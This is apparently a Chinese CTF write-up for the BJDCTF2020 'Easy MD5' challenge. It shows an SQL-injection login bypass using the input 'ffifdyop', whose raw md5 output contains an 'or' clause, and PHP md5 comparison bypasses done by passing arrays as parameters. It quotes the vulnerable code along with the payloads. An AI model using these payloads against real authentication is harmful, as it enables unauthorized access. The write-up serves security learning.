[BJDCTF2020]Easy MD5
第一步
绕过:
"select * from 'admin' where password=' ".md5($pass,true)." ' "
输入:ffifdyop
原因:数据库会把16进制转为ascii解释
如下: flag{welcome}的16进制是0x666c61677b77656c636f6d657d
而我们的md5(ffifdyop) 会返回16进制字符串
这时原来的语句就是:
"select * from 'admin' where password='' or'6蒥欓!r,�b' "
or后面的句子第一个字母是非0打头的数字符,比如为 ‘ 1abc ’ 或者 ‘ -1bde ’都会被认为是true。
以0开头会认为是false.
flag{welcome}16进制是
关于16进制和mysql
ffifdyop的md5值
字符串 or '1xxx'
以mysql的三目运算举例:
select if( "123", "this_is_true","this_is_false");#返回this_is_true
select if( "0xx", "this_is_true","this_is_false");#返回this_is_false
用于题目的实践
我的表里只有一个值
select * from flag where id = 1 and flag = "123" or '1xxx';#返回表中所有值
select * from flag where id = 1 and flag = "123" or '0xxx';#返回符合id = 1 and flag = "123"的值,因为or '0xxx'解释为false
第二步
<!--
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
这里用数组即可绕过
?a[]=1&b[]=2
第三步
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
同第二部相同,绕过比较md5的比较用数组
param1[]=1¶m2[]=2